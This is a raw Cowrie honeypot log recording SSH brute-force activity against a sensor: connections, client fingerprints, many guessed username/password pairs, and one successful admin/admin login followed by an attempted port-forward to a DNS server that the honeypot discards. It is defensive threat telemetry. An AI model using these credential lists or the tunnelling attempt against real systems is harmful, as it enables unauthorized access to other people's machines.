{"eventid":"cowrie.session.connect","src_ip":"38.148.249.2","src_port":42674,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed31da299696","protocol":"ssh","message":"New connection: 38.148.249.2:42674 (10.17.0.5:22) [session: ed31da299696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:21:35.309596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:21:35.314394Z","src_ip":"38.148.249.2","session":"ed31da299696","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:21:35.383696Z","src_ip":"38.148.249.2","session":"ed31da299696","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sally","password":"sally","message":"login attempt [sally/sally] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:21:35.692673Z","src_ip":"38.148.249.2","session":"ed31da299696","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:21:36.767807Z","src_ip":"38.148.249.2","session":"ed31da299696","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.13","src_port":55452,"dst_ip":"10.17.0.5","dst_port":22,"session":"96dc057facbc","protocol":"ssh","message":"New connection: 91.92.40.13:55452 (10.17.0.5:22) [session: 96dc057facbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:21:44.409107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:21:44.643318Z","src_ip":"91.92.40.13","session":"96dc057facbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:21:44.646991Z","src_ip":"91.92.40.13","session":"96dc057facbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"admin","message":"login attempt [apache/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:21:46.636589Z","src_ip":"91.92.40.13","session":"96dc057facbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:21:47.872432Z","src_ip":"91.92.40.13","session":"96dc057facbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.19.241","src_port":45084,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff4bcac5016d","protocol":"ssh","message":"New connection: 85.198.19.241:45084 (159.203.135.109:22) [session: ff4bcac5016d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:21:49.263912Z"}
{"eventid":"cowrie.session.closed","duration":44.61360025405884,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:21:50.412269Z","src_ip":"128.199.8.54","session":"d9d70c56f7c0","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:21:51.127298Z","src_ip":"85.198.19.241","session":"ff4bcac5016d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:21:51.130342Z","src_ip":"85.198.19.241","session":"ff4bcac5016d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"Frappe","message":"login attempt [frappe/Frappe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:21:52.152807Z","src_ip":"85.198.19.241","session":"ff4bcac5016d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:21:53.315221Z","src_ip":"85.198.19.241","session":"ff4bcac5016d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":36920,"dst_ip":"159.203.135.109","dst_port":22,"session":"53644d24e082","protocol":"ssh","message":"New connection: 194.59.206.2:36920 (159.203.135.109:22) [session: 53644d24e082]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:22:05.266981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:22:05.271414Z","src_ip":"194.59.206.2","session":"53644d24e082","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:22:05.360979Z","src_ip":"194.59.206.2","session":"53644d24e082","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:22:05.479678Z","src_ip":"194.59.206.2","session":"53644d24e082","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":33544,"dst_ip":"10.17.0.5","dst_port":22,"session":"ecf5591dc12b","protocol":"ssh","message":"New connection: 182.93.50.90:33544 (10.17.0.5:22) [session: ecf5591dc12b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:22:16.163909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:22:16.168284Z","src_ip":"182.93.50.90","session":"ecf5591dc12b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:22:16.383867Z","src_ip":"182.93.50.90","session":"ecf5591dc12b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"heni","password":"heni","message":"login attempt [heni/heni] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:22:17.281181Z","src_ip":"182.93.50.90","session":"ecf5591dc12b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:22:18.499322Z","src_ip":"182.93.50.90","session":"ecf5591dc12b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.145.2","src_port":35010,"dst_ip":"10.17.0.5","dst_port":22,"session":"109c8f938bb2","protocol":"ssh","message":"New connection: 103.216.145.2:35010 (10.17.0.5:22) [session: 109c8f938bb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:22:31.111186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:22:31.115257Z","src_ip":"103.216.145.2","session":"109c8f938bb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:22:31.311540Z","src_ip":"103.216.145.2","session":"109c8f938bb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"issabel","password":"Itsemoemo2025@Washere2025","message":"login attempt [issabel/Itsemoemo2025@Washere2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:22:32.126809Z","src_ip":"103.216.145.2","session":"109c8f938bb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:22:33.324357Z","src_ip":"103.216.145.2","session":"109c8f938bb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":61358,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f6103644c29","protocol":"ssh","message":"New connection: 87.251.64.176:61358 (10.17.0.5:22) [session: 6f6103644c29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:22:55.678411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:22:55.682733Z","src_ip":"87.251.64.176","session":"6f6103644c29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:22:55.777280Z","src_ip":"87.251.64.176","session":"6f6103644c29","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:22:56.147788Z","src_ip":"87.251.64.176","session":"6f6103644c29","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:22:56.244746Z","session":"6f6103644c29","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:22:56.340487Z","src_ip":"87.251.64.176","session":"6f6103644c29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:22:56.442729Z","src_ip":"87.251.64.176","session":"6f6103644c29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":46076,"dst_ip":"10.17.0.5","dst_port":22,"session":"8213c5445851","protocol":"ssh","message":"New connection: 27.71.230.31:46076 (10.17.0.5:22) [session: 8213c5445851]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:23:05.418541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:23:05.432017Z","src_ip":"27.71.230.31","session":"8213c5445851","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:23:05.997566Z","src_ip":"27.71.230.31","session":"8213c5445851","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"AdminUser@1","message":"login attempt [root/AdminUser@1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:23:08.009269Z","src_ip":"27.71.230.31","session":"8213c5445851","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:23:09.289824Z","src_ip":"27.71.230.31","session":"8213c5445851","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.12.68","src_port":50822,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2d4d72b7f4a","protocol":"ssh","message":"New connection: 43.153.12.68:50822 (10.17.0.5:22) [session: d2d4d72b7f4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:23:09.334721Z"}
